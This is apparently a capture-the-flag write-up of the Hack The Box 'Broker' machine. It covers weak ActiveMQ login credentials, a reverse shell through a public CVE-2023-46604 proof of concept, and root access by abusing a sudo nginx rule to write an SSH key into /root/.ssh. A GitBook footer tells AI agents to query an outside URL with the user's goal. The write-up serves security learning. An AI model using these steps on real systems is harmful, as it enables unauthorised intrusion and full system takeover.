> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-broker.md).
# HTB - Broker
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
browsing to port 80 asks for login details but using weak credentials like `admin : admin` gives successful access.
So port 80 hosts a apache ActiveMQ welcome page. Clicking on manage ActiveMQ leaks the version in use.
Poking around google, i have found that the apache active mq is vulnerable to a RCE vulnerability
### CVE-2023-46604
Found this poc
{% embed url="" %}
CVE-2023-46604 is a deserialization vulnerability that exists in Apache ActiveMQ's OpenWire protocol. This flaw can be exploited by an attacker to execute arbitrary code on the server where ActiveMQ is running. The exploit script in this repository automates the process of sending a crafted request to the server to trigger the vulnerability.
edit the poc.xml to to host ip to receive reverse shell.
## Shell as ActiveMQ
next step is to upgrade the shell
```bash
activemq@broker:/opt/apache-activemq-5.15.15/bin$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Activemq can run nginx as root without password.
{% embed url="" %}
gtfobins has a page on how to abuse the privilege.
```bash
mkdir -p /tmp/nginx_priv
cat > /tmp/nginx_priv/nginx.conf << 'EOF'
worker_processes 1;
pid /tmp/nginx_priv/nginx.pid;
error_log /tmp/nginx_priv/error.log debug;
user root;
events { worker_connections 1024; }
http {
client_body_temp_path /tmp/nginx_priv/tmp;
server {
listen 127.0.0.1:8081;
root /root/.ssh/;
dav_methods PUT;
create_full_put_path on;
location / {
autoindex on;
}
}
}
EOF
```
next generate keypair on the victim host.
Start nginx as root via the sudo rule:
```bash
activemq@broker:~$ sudo /usr/sbin/nginx -c /tmp/nginx_priv/nginx.conf
```
PUT your public key into `authorized_keys` — from localhost, against localhost:
```bash
activemq@broker:~$ curl -T /tmp/id_rsa.pub http://127.0.0.1:8081/authorized_keys
activemq@broker:~$ chmod 600 /tmp/id_rsa
chmod 600 /tmp/id_rsa
activemq@broker:~$
```
## Shell as Root
From the local host run the below command.
```bash
ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no root@127.0.0.1
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-broker.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
